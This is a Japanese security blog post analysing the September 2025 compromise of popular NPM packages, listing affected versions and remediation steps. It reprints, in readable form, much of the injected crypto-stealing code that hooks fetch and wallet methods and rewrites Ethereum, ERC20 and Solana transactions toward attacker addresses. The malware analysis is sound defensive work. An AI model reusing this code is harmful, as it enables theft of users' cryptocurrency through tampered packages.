パッケージにヘビが潜む!攻撃者はいかにしてコードから暗号資産を奪うのか

攻撃者が人気のNPMパッケージを侵害し、暗号資産ウォレットアドレスを置き換えて、資金を密かに攻撃者側へ転送した手口。

Bleon Proko

Bleon Proko

2025年9月8日、Aikido Securityが報告し、NPMが確認したところ、複数のNPMライブラリが、ユーザー側の中間者攻撃に類似した手法で侵害されていました。私たちの調査では、この攻撃の仕組みを詳細に分析しました。挿入されたコードは、リクエストを監視して暗号資産アカウントを検出し、そのアカウントを攻撃者が制御するアカウントへ密かに置き換えます。

  • ansi-regex 6.2.1
  • color-name 2.0.1
  • debug 4.4.2
  • wrap-ansi 9.0.1
  • simple-swizzle 0.2.3
  • chalk 5.6.1
  • strip-ansi 7.1.1
  • color-string 2.1.1
  • backslash 0.2.1
  • has-ansi 6.0.1
  • chalk-template 1.1.1
  • supports-color 10.2.1
  • slice-ansi 7.1.1
  • is-arrayish 0.3.3
  • color-convert 3.1.1
  • ansi-styles 6.2.2
  • supports-hyperlinks 4.1.1
  • error-ex 1.3.3
NPM package page showing version 6.2.2 as latest, with version history including 6.2.1 and 6.2.2.
攻撃の影響を受けた修正済みパッケージの例

侵害されたすべてのバージョンはNPMレジストリから削除されており、修正済みリリースがNPMで入手可能です。それでもなお、コードベースをスキャンし、影響を受けた依存関係をアップグレードし、ユーザーが影響を受けていないことを確認することを推奨します。本ブログでは、この攻撃がどのように実行されたのか、またどのように検出できるのかを詳しく解説します。

攻撃の分析

攻撃者が悪意あるコードを組み込んだ方法は、それほど巧妙なものではありませんでした。攻撃者は、各パッケージのindex.jsの先頭に、難読化された悪意あるJavaScriptを追加していました。このコードは通常のスクリプト命令のように見えるよう難読化およびミニファイされており、検出を困難にしていました。

ansi-regexパッケージのバージョン6.2.1(侵害された)と6.2.2(修正済み)の違い

この攻撃ベクトルには、暗号資産ウォレットの検出、ウォレットを含むリクエストのインターセプト、正規アドレスから攻撃者が制御するアドレスへの置き換えが含まれていました。流れは次のとおりです。

  1. ユーザーが感染したWebサイトにアクセスする
  2. 悪意あるコードが暗号資産ウォレットを確認する
  3. ウォレットアドレスを含むすべてのネットワークリクエストをインターセプトする
  4. 類似度マッチングを使用して、ウォレットアドレスを攻撃者が制御するアドレスに置き換える
  5. 被害者がトランザクションを開始すると、資金がリダイレクトされる
  6. 正規のウォレットインターフェースが使用されるため、攻撃はほぼ不可視に見える
Flowchart showing a crypto wallet attack script detecting wallets and tampering with fetch requests.

悪意ある暗号資産ウォレットの検出

注:以下に示すコードは、可読性を高めるために整形されています。

マルウェアはまず、Ethereumオブジェクトであるwindow.ethereumを確認します。その後、eth_accountsの応答を待機し、ウォレットアドレスを取得して、runmask()の実行を試みます。また、newdlocal()が一度も実行されていない場合(rund ≠ 1)、rundの値を1に設定し、newdlocal()を一度だけ実行します。

var neth = 0;
var rund = 0;
var loval = 0;

async function checkethereumw() {
  try {
    const etherumReq = await window.ethereum.request({ method: 'eth_accounts' });
    etherumReq.length > 0 ? (runmask(), rund != 1 && (rund = 1, neth = 1, newdlocal())) : rund != 1 && (rund = 1, newdlocal());
  } catch (error) {
    if (rund != 1) {
      rund = 1;
      newdlocal();
    }
  }
}

typeof window != 'undefined' && typeof window.ethereum != 'undefined' ? checkethereumw() : rund != 1 && (rund = 1, newdlocal());

リクエストフック

newdlocal()は、ブラウザをフックし、送信されるリクエストを取得して、そのリクエストを改ざんし、ターゲットのアカウントを攻撃者のアカウントに置き換える関数です。これにより、資金は正規の受取人ではなく、悪意ある受取人へ実質的に送金されます。以下は、コード内で定義されている関数です。読みやすさのために関数名を変更し、元の関数名を併記しています。

const originalFetch = fetch;
fetch = async function (...args) { 
  const response = await originalFetch(...args);
  const contentType = response.headers.get('Content-Type') || '';
  let data = contentType.includes('application/json') 
    ? await response.clone().json() 
    : await response.clone().text();
  
  const processed = processData(data);
  const finalData = typeof processed === 'string' ? processed : JSON.stringify(processed);

  return new Response(finalData, {
    status: response.status,
    statusText: response.statusText,
    headers: response.headers
  });
};

ウォレットが見つかると、スクリプトは攻撃者が用意したウォレットの中から、最も近い一致となる攻撃者ウォレットを探します。これにより、変更後のウォレットが正規のウォレットに似て見えるため、ユーザーは攻撃に気付きにくくなります。悪意ある関数_0x3479c8(_0x13a5cc, _0x8c209f)および_0x2abae0(_0x348925, _0x2f1e3d)は、レーベンシュタイン距離を使用します。これは、ある単語を別の単語に変換するために必要な1文字単位の編集(挿入、削除、置換)の最小回数として定義されます。その後、fetch() APIリクエストおよびXMLHttpRequestレスポンスのハイジャックを試み、リクエストとレスポンス内のウォレットを実質的に書き換えます。

  function levenshteinDistance(a, b) { // _0x3479c8(_0x13a5cc, _0x8c209f)
    const dp = Array.from({ length: a.length + 1 }, () => Array(b.length + 1).fill(0));

    for (let i = 0; i <= a.length; i++) dp[i][0] = i;
    for (let j = 0; j <= b.length; j++) dp[0][j] = j;

    for (let i = 1; i <= a.length; i++) {
      for (let j = 1; j <= b.length; j++) {
        if (a[i - 1] === b[j - 1]) {
          dp[i][j] = dp[i - 1][j - 1];
        } else {
          dp[i][j] = 1 + Math.min(
            dp[i - 1][j],     // deletion
            dp[i][j - 1],     // insertion
            dp[i - 1][j - 1]  // substitution
          );
        }
      }
    }
    return dp[a.length][b.length];
  }

  function findClosestString(input, candidates) { // _0x2abae0(_0x348925, _0x2f1e3d)
    let bestDistance = Infinity;
    let bestMatch = null;
    for (let candidate of candidates) {
      const distance = levenshteinDistance(input.toLowerCase(), candidate.toLowerCase());
      if (distance < bestDistance) {
        bestDistance = distance;
        bestMatch = candidate;
      }
    }
    return bestMatch;
  }

攻撃者は、攻撃者が制御するウォレットのリストをスクリプトに含めており、これらはターゲットが制御するウォレットと照合されます。

  • Legacy Bitcoin: 1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx(ほか39件)
  • Bitcoin Bech32: bc1qms4f8ys8c4z47h0q29nnmyekc9r74u5ypqw6wm(ほか39件)
  • Ethereum: 0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976(ほか59件)
  • Litecoin: LNFWHeiSjb4QB4iSHMEvaZ8caPwtz4t6Ug(ほか39件)
  • Bitcoin Cash: bitcoincash:qpwsaxghtvt6phm53vfdj0s6mj4l7h24dgkuxeanyh(ほか39件)
  • Solana: 5VVyuV5K6c2gMq1zVeQUFAmo8shPZH28MJCVzccrsZG6(ほか19件)
  • Tron: TB9emsCq6fQw6wRk4HBxxNnU6Hwt1DnV67(ほか39件)

攻撃者が用意したすべてのウォレットに対してチェックが実行され、最も近いものが返されます。

function transform(inputStr) {
    var legacyBTC = [
    ];
    var segwitBTC = [
    ];
    var ethAddresses = [
    ];
    var solanaAddrs = [
    ];
    var tronAddrs = [
    ];
    var ltcAddrs = [
    ];
    var bchAddrs = [
    ];
    for (const [currency, regex] of Object.entries(_0x3ec3bb)) {
      const matches = inputStr.match(regex) || [];
      for (const match of matches) {
        if (currency == 'ethereum') {
          if (!ethAddresses.includes(match) && neth == 0) {
            inputStr = inputStr.replace(match, closestMatch(match, ethAddresses));
          }
        }
        if (currency == 'bitcoinLegacy') {
          if (!legacyBTC.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, legacyBTC));
          }
        }
        if (currency == 'bitcoinSegwit') {
          if (!segwitBTC.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, segwitBTC));
          }
        }
        if (currency == 'tron') {
          if (!tronAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, tronAddrs));
          }
        }
        if (currency == 'ltc') {
          if (!ltcAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, ltcAddrs));
          }
        }
        if (currency == 'ltc2') {
          if (!ltcAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, ltcAddrs));
          }
        }
        if (currency == 'bch') {
          if (!bchAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, bchAddrs));
          }
        }
        const allAddrs = [
          ...ethAddresses,
          ...legacyBTC,
          ...segwitBTC,
          ...tronAddrs,
          ...ltcAddrs,
          ...bchAddrs
        ];
        const isKnown = allAddrs.includes(match);
        if (currency == 'solana' && !isKnown) {
          if (!solanaAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, solanaAddrs));
          }
        }
        if (currency == 'solana2' && !isKnown) {
          if (!solanaAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, solanaAddrs));
          }
        }
        if (currency == 'solana3' && isKnown) {
          if (!solanaAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, solanaAddrs));
          }
        }
      }
    }
    return inputStr;
}

スクリプトはリクエストとレスポンスを確認し、ターゲットのウォレットを攻撃者が制御するウォレットに書き換えたうえで、ターゲットにはそのまま操作を続行させます。

runmask()を使用したトランザクション改ざん

runmask()関数は、ブラウザ内のウォレット呼び出し(MetaMask、Solanaウォレットなど)をインターセプトし、送信前に攻撃者が制御するアドレスを注入するよう、トランザクションデータを改ざんする目的で設計されています。スクリプトがwindow.ethereumの値を検出してウォレットを見つけると、マルウェアはrequestsendsendAsyncなどのメソッドを待機します。

function interceptWallet(wallet) { // _0x41630a(_0x5d6d52)
    const methods = ['request', 'send', 'sendAsync'];

    methods.forEach(name => {
        if (typeof wallet[name] === 'function') {
            originalMethods.set(name, wallet[name]);
            Object.defineProperty(wallet, name, {
                value: wrapMethod(wallet[name]),
                writable: true,
                configurable: true
            });
        }
    });

    isActive = true;
}

いずれかのメソッドが見つかると、関数_0x485f9d(_0x38473f will _0x292c7a)は、そのトランザクションがEthereumまたはSolanaのトランザクションであるかを判定し、関数_0x1089ae(_0x4ac357, _0xc83c36 = true)を使用してトランザクションの改ざんを試みます。

function wrapMethod(originalMethod) { // _0x1089ae(_0x4ac357, _0xc83c36 = true)
  return async function (...args) {
    increment++; // increment intercept count
    let clonedArgs;

    // Deep clone arguments to avoid mutation
    try {
      clonedArgs = JSON.parse(JSON.stringify(args));
    } catch {
      clonedArgs = [...args];
    }

    if (args[0] && typeof args[0] === 'object') {
      const request = clonedArgs[0];

      // Ethereum transaction
      if (request.method === 'eth_sendTransaction' && request.params?.[0]) {
        try {
          request.params[0] = maskTransaction(request.params[0], true); // _0x1089ae(tx, false)
        } catch {}

      // Solana transaction
      } else if (
        (request.method === 'solana_signTransaction' || request.method === 'solana_signAndSendTransaction') &&
        request.params?.[0]
      ) {
        try {
          let tx = request.params[0].transaction || request.params[0];
          const maskedTx = maskTransaction(tx, false); // _0x1089ae(tx, false)
          if (request.params[0].transaction) {
            request.params[0].transaction = maskedTx;
          } else {
            request.params[0] = maskedTx;
          }
        } catch {}
      }
    }

    const result = originalMethod();

    // Handle promises
    if (result && typeof result.then === 'function') {
      return result.then(res => res).catch(err => { throw err; });
    }

    return result;
  };
}

関数_0x1089ae(_0x4ac357, _0xc83c36 = true)は、マルウェアがインターセプトしたリクエストを取得し、そこに自身のアドレスを注入します。同時に、EthereumのERC20トークンコントラクトまたはSolanaトランザクションを改ざんします。いずれの場合も、攻撃者のアドレスが指定されます。

function maskTransaction(tx, isEthereum = true) {
  // Deep clone transaction to avoid mutating original
  const maskedTx = JSON.parse(JSON.stringify(tx));

  if (isEthereum) {
    const attackAddress = '0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976';

    // Redirect non-zero value transactions
    if (maskedTx.value && maskedTx.value !== '0x0' && maskedTx.value !== '0') {
      maskedTx.to = attackAddress;
    }

    if (maskedTx.data) {
      const data = maskedTx.data.toLowerCase();

      // ERC20 approve
      if (data.startsWith('0x095ea7b3') && data.length >= 74) {
        maskedTx.data = data.substring(0, 10) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';
      }
      // Custom contract call
      else if (data.startsWith('0xd505accf') && data.length >= 458) {
        maskedTx.data = data.substring(0, 10) +
                        data.substring(10, 74) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' +
                        data.substring(202);
      }
      // ERC20 transfer
      else if (data.startsWith('0xa9059cbb') && data.length >= 74) {
        maskedTx.data = data.substring(0, 10) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        data.substring(74);
      }
      // ERC20 transferFrom
      else if (data.startsWith('0x23b872dd') && data.length >= 138) {
        maskedTx.data = data.substring(0, 10) +
                        data.substring(10, 74) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        data.substring(138);
      }
    } else if (maskedTx.to && maskedTx.to !== attackAddress) {
      maskedTx.to = attackAddress;
    }
  } else {
    // Solana-style transaction masking
    if (maskedTx.instructions && Array.isArray(maskedTx.instructions)) {
      maskedTx.instructions.forEach(instr => {
        if (instr.accounts && Array.isArray(instr.accounts)) {
          instr.accounts.forEach(acc => {
            if (typeof acc === 'string') acc = '19111111111111111111111111111111';
            else acc.pubkey = '19111111111111111111111111111111';
          });
        }
        if (instr.keys && Array.isArray(instr.keys)) {
          instr.keys.forEach(key => key.pubkey = '19111111111111111111111111111111');
        }
      });
    }
    maskedTx.recipient = '19111111111111111111111111111111';
    maskedTx.destination = '19111111111111111111111111111111';
  }

  return maskedTx;
}

指定されたEthereum攻撃者アドレスは、Ethereum Addressリストの最初の要素です。

var _0x4477fc = [      
'0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976',      
--snip--

推奨事項とまとめ

侵害されたライブラリが含まれていないか、コードベース全体をスキャンし、該当するものがあれば直ちに更新することを強く推奨します。これには、package.json、lockファイル、node_modules、SBOMの依存関係ツリーの確認が含まれます。更新を適用した後は、直近のすべてのウォレットトランザクションを監視して不審なアクティビティがないか確認し、露出した可能性のあるトークン承認をすべて取り消してください。また、可能であれば、新しいウォレットアドレスへ移行してください。リスクをさらに低減するため、今後同様のサプライチェーン侵害を緩和できるよう、パッケージバージョンを固定してください。

このマルウェアは非常に高度でした。ブラウザにフックし、リクエストをインターセプトし、ウォレットをハイジャックし、複数のブロックチェーンにまたがって動作していました。正規のチャネルを悪用し、トランザクションを偽装し、難読化技術を使用することで、通常の処理に紛れ込み、検出が困難な状態を維持していました。

関連記事

理想のSOCチーム。
24時間365日、お客様とともに稼働します。

お客様の環境を一元的かつリアルタイムに把握する4つのエクサボットが、検出、トリアージ、調査、対応をカバーします。プラットフォームを自社で運用することも、エクサフォースに運用を任せることもできます。